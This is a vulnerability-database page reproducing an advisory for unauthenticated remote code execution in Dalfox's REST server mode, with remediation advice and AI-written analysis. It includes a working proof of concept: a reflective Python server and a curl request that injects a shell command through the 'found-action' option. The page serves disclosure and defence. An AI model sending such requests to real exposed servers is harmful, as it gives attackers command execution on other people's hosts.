Skip to main content

Dalfox CVE-2026-45087

| EUVDEUVD-2026-32615 CRITICAL
External Control of System or Configuration Setting (CWE-15)
2026-05-12 https://github.com/hahwul/dalfox GHSA-v25v-m36w-jp4h
10.0
CVSS 3.1 · GitHub Advisory
Share

Severity by source

GitHub Advisory PRIMARY
10.0 CRITICAL
AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

3
Source Code Evidence Fetched
May 12, 2026 - 16:01 vuln.today
Analysis Generated
May 12, 2026 - 16:01 vuln.today
CVE Published
May 12, 2026 - 15:07 nvd
CRITICAL 10.0

DescriptionGitHub Advisory

GHSA: Unauthenticated Remote Code Execution via found-action in Dalfox Server Mode

Summary

When dalfox is started in REST API server mode (dalfox server), the server binds to 0.0.0.0:6664 by default and requires no API key unless the operator explicitly passes --api-key. Because model.Options - including FoundAction and FoundActionShell - is deserialized directly from attacker-supplied JSON in POST /scan, and because dalfox.Initialize explicitly propagates those two fields into the final scan options without stripping them, any unauthenticated caller who can reach the server port can supply an arbitrary shell command that the dalfox process will execute on the host whenever a scan finding is triggered.

Severity

Critical (CVSS 3.1: 10.0)

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

  • Attack Vector: Network - the server binds to 0.0.0.0 by default; reachable by any network peer.
  • Attack Complexity: Low - the attacker fully controls the scanned URL and can trivially host a one-line reflective server to guarantee a finding is triggered.
  • Privileges Required: None - no API key is enforced in the default configuration.
  • User Interaction: None.
  • Scope: Changed - exploitation escapes the dalfox process boundary and executes arbitrary commands on the host OS.
  • Confidentiality Impact: High - full read access to the host filesystem and secrets in the process environment.
  • Integrity Impact: High - arbitrary file writes, code deployment, persistence mechanisms.
  • Availability Impact: High - process kill, resource exhaustion, service disruption.

Affected Component

  • cmd/server.go - init() (line 51): --api-key defaults to ""
  • pkg/server/server.go - setupEchoServer() (line 68): auth middleware only registered when APIKey != ""
  • pkg/server/server.go - postScanHandler() (lines 173-191): rq.Options passed to ScanFromAPI without sanitization
  • lib/func.go - Initialize() (lines 118-119): FoundAction / FoundActionShell explicitly propagated from caller options
  • pkg/scanning/foundaction.go - foundAction() (lines 17-18): exec.Command(options.FoundActionShell, "-c", afterCmd) executed unconditionally

CWE

  • CWE-306: Missing Authentication for Critical Function
  • CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
  • CWE-15: External Control of System or Configuration Setting

Description

Opt-in Authentication with a Dangerous Default

cmd/server.go registers the --api-key flag with an empty string default:

go
// cmd/server.go:51
serverCmd.Flags().StringVar(&apiKey, "api-key", "", "Specify the API key for server authentication...")

setupEchoServer only installs the apiKeyAuth middleware when that value is non-empty:

go
// pkg/server/server.go:68-70
if options.ServerType == "rest" && options.APIKey != "" {
    e.Use(apiKeyAuth(options.APIKey, options))
}

A server started without --api-key accepts every request on every route with no challenge. The apiKeyAuth implementation itself is correct - the flaw is purely in the opt-in condition that makes authentication off by default.

Attacker-Controlled Options Reaches Shell Execution Without Stripping

POST /scan deserializes the full model.Options struct from the JSON body:

go
// pkg/server/model.go:6-8
type Req struct {
    URL     string        `json:"url"`
    Options model.Options `json:"options"`
}

// pkg/server/server.go:173-191
rq := new(Req)
if err := c.Bind(rq); err != nil { ... }
go ScanFromAPI(rq.URL, rq.Options, *options, sid)

model.Options exposes both execution-control fields as JSON-tagged properties:

go
// pkg/model/options.go:83-84
FoundAction      string `json:"found-action,omitempty"`
FoundActionShell string `json:"found-action-shell,omitempty"`

ScanFromAPI builds the scan target directly from rqOptions and passes it to dalfox.Initialize:

go
// pkg/server/scan.go:22-27
target := dalfox.Target{
    URL:     url,
    Method:  rqOptions.Method,
    Options: rqOptions,
}
newOptions := dalfox.Initialize(target, target.Options)

Initialize explicitly copies both fields into newOptions - there is no stripping path:

go
// lib/func.go:118-119
"FoundAction":      {&newOptions.FoundAction, options.FoundAction},
"FoundActionShell": {&newOptions.FoundActionShell, options.FoundActionShell},

Shell Execution on Any Finding

foundAction is called from seven locations across pkg/scanning/scanning.go and pkg/scanning/sendReq.go whenever options.FoundAction != "" and any vulnerability is detected. None of these call sites check options.IsAPI:

go
// pkg/scanning/foundaction.go:12-18
func foundAction(options model.Options, target, query, ptype string) {
    afterCmd := options.FoundAction
    afterCmd = strings.ReplaceAll(afterCmd, "@@query@@", query)
    afterCmd = strings.ReplaceAll(afterCmd, "@@target@@", target)
    afterCmd = strings.ReplaceAll(afterCmd, "@@type@@", ptype)
    cmd := exec.Command(options.FoundActionShell, "-c", afterCmd)
    err := cmd.Run()
    ...
}

Because the attacker supplies both the scan target URL and found-action, they trivially guarantee that a finding is produced (by hosting a one-line reflective server) and that the shell command is executed.

Proof of Concept

bash
# Step 1 - Start a reflective XSS target (attacker-controlled)
python3 - <<'PY'
from http.server import BaseHTTPRequestHandler, HTTPServer
from urllib.parse import urlparse, parse_qs
class H(BaseHTTPRequestHandler):
    def do_GET(self):
        q = parse_qs(urlparse(self.path).query).get('q', [''])[0]
        body = f'<html><body>{q}</body></html>'.encode()
        self.send_response(200)
        self.send_header('Content-Type', 'text/html')
        self.send_header('Content-Length', str(len(body)))
        self.end_headers()
        self.wfile.write(body)
    def log_message(self, *a): pass
HTTPServer(('127.0.0.1', 18081), H).serve_forever()
PY
# Step 2 - Start dalfox in REST server mode (default: 0.0.0.0:6664, no API key)
go run . server --host 127.0.0.1 --port 16664 --type rest
# Step 3 - POST unauthenticated scan request with found-action payload
curl -s -X POST http://127.0.0.1:16664/scan \
  -H 'Content-Type: application/json' \
  --data '{
    "url": "http://127.0.0.1:18081/?q=test",
    "options": {
      "found-action": "echo owned >/tmp/dalfox_rce_marker",
      "found-action-shell": "bash",
      "use-headless": false,
      "worker": 1,
      "limit-result": 1
    }
  }'
# Step 4 - Confirm arbitrary command executed on the dalfox host
cat /tmp/dalfox_rce_marker
# Expected output: owned

No X-API-KEY header is required. The reflective server ensures dalfox finds a vulnerability, which triggers foundAction.

Impact

  • Unauthenticated remote code execution on any host running dalfox server in its default configuration.
  • Full read access to secrets, configuration files, and credentials visible to the dalfox process.
  • Arbitrary file writes: persistence, backdoor installation, data exfiltration staging.
  • Lateral movement using the dalfox host's network position and credentials.
  • The default 0.0.0.0 bind address means exposure to all network interfaces, including public-facing ones in misconfigured cloud environments.

Recommended Remediation

Option 1: Require API key - make --api-key mandatory (preferred)

Reject server startup when no API key is provided and emit a loud warning. This is the lowest-risk fix because it protects all current and future routes without code changes to the scan path.

go
// cmd/server.go - in runServerCmd, before starting the server:
if serverType == "rest" && apiKey == "" {
    fmt.Fprintln(os.Stderr, "ERROR: --api-key is required when running in REST server mode.")
    fmt.Fprintln(os.Stderr, "       Generate a key with: openssl rand -hex 32")
    os.Exit(1)
}

Option 2: Strip FoundAction / FoundActionShell from API-sourced requests

Prevent untrusted callers from setting execution-control options regardless of auth state. This adds defence-in-depth and protects authenticated deployments against credential theft.

go
// pkg/server/server.go - in postScanHandler, before calling ScanFromAPI:
rq.Options.FoundAction = ""
rq.Options.FoundActionShell = ""

Both options should be applied together. Option 1 prevents unauthenticated access; Option 2 ensures that even authenticated callers (who may be external consumers of the REST API) cannot trigger host-level command execution.

##Credit

Emmanuel David

Github:- https://github.com/drmingler

AnalysisAI

Unauthenticated remote code execution in Dalfox REST API server mode (versions ≤2.12.0) allows network attackers to execute arbitrary OS commands by injecting shell payloads via the found-action parameter in POST /scan requests. The server binds to 0.0.0.0:6664 by default with no API key enforcement unless explicitly configured, and deserializes attacker-controlled JSON directly into execution-control options without sanitization. Attackers trivially guarantee exploitation by hosting a reflective XSS endpoint to trigger the injected command. Fixed in version 2.13.0. CVSS 10.0 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H). EPSS data not available; no CISA KEV listing at time of analysis. Public exploit code exists (detailed proof-of-concept published in GitHub advisory GHSA-v25v-m36w-jp4h).

Technical ContextAI

Dalfox is a Go-based XSS scanning tool that can operate in REST API server mode. The vulnerability chain involves three architectural flaws: (1) CWE-306 missing authentication - the server defaults to no API key, making authentication opt-in rather than mandatory; (2) CWE-15 external control of system settings - the model.Options struct includes FoundAction and FoundActionShell fields that are deserialized directly from untrusted JSON in POST /scan without stripping; (3) CWE-78 OS command injection - the foundAction() function in pkg/scanning/foundaction.go passes attacker-controlled strings directly to exec.Command(options.FoundActionShell, "-c", afterCmd) whenever a vulnerability is detected. The dalfox.Initialize function explicitly propagates these execution-control fields from caller options into the final scan configuration. The attack surface is maximized by the default 0.0.0.0 bind address, which exposes the server to all network interfaces. The CPE identifier pkg:go/github.com_hahwul_dalfox_v2 confirms this affects the Go module ecosystem.

RemediationAI

Immediately upgrade to Dalfox version 2.13.0 or later, available at https://github.com/hahwul/dalfox/releases/tag/v2.13.0. Version 2.13.0 implements dual fixes per PR #923: strips CLI-only execution-control fields (FoundAction, FoundActionShell) at the REST/MCP API boundary, and hardens options deserialization to prevent untrusted callers from setting these fields regardless of authentication state. If immediate upgrade is not feasible, apply these compensating controls with the noted trade-offs: (1) Always run dalfox server with --api-key flag and a cryptographically random key (generate with: openssl rand -hex 32) - this requires all API clients to present X-API-KEY header, which may break existing integrations; (2) Bind only to localhost with --host 127.0.0.1 to eliminate network exposure - this prevents remote API access and is only viable for local-only use cases; (3) Deploy behind authenticated reverse proxy (nginx with HTTP Basic Auth, API gateway with token validation) - adds operational complexity and latency; (4) Firewall port 6664 to trusted source IPs only using iptables/nftables/cloud security groups - requires maintaining allowlists and does not prevent exploitation from compromised allowed hosts. None of these mitigations protect against the underlying command injection flaw if authentication is bypassed via credential theft or SSRF; upgrade remains the only complete fix. After upgrading, audit logs for POST /scan requests containing found-action or found-action-shell keys to identify potential past exploitation attempts.

CVE-2014-0160 HIGH POC
7.5 Apr 07

The (1) TLS and (2) DTLS implementations in OpenSSL 1.0.1 before 1.0.1g do not properly handle Heartbeat Extension packe

CVE-2014-0195 MEDIUM POC
6.8 Jun 05

The dtls1_reassemble_fragment function in d1_both.c in OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2016-0800 MEDIUM POC
5.9 Mar 01

The SSLv2 protocol, as used in OpenSSL before 1.0.1s and 1.0.2 before 1.0.2g and other products, requires a server to se

CVE-2015-0204 MEDIUM POC
4.3 Jan 09

The ssl3_get_key_exchange function in s3_clnt.c in OpenSSL before 0.9.8zd, 1.0.0 before 1.0.0p, and 1.0.1 before 1.0.1k

CVE-2014-3566 LOW POC
3.4 Oct 15

The SSL protocol 3.0, as used in OpenSSL through 1.0.1i and other products, uses nondeterministic CBC padding, which mak

CVE-2016-2107 MEDIUM POC
5.9 May 05

The AES-NI implementation in OpenSSL before 1.0.1t and 1.0.2 before 1.0.2h does not consider memory allocation during a

CVE-2015-1793 MEDIUM POC
6.5 Jul 09

The X509_verify_cert function in crypto/x509/x509_vfy.c in OpenSSL 1.0.1n, 1.0.1o, 1.0.2b, and 1.0.2c does not properly

CVE-2022-3602 HIGH
7.5 Nov 01

A buffer overrun can be triggered in X.509 certificate verification, specifically in name constraint checking. Rated hig

CVE-2014-3470 MEDIUM
4.3 Jun 05

The ssl3_send_client_key_exchange function in s3_clnt.c in OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before

CVE-2017-3730 HIGH POC
7.5 May 04

In OpenSSL 1.1.0 before 1.1.0d, if a malicious server supplies bad parameters for a DHE or ECDHE key exchange then this

CVE-2016-8610 HIGH
7.5 Nov 13

A denial of service flaw was found in OpenSSL 0.9.8, 1.0.1, 1.0.2 through 1.0.2h, and 1.1.0 in the way the TLS/SSL proto

Share

CVE-2026-45087 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy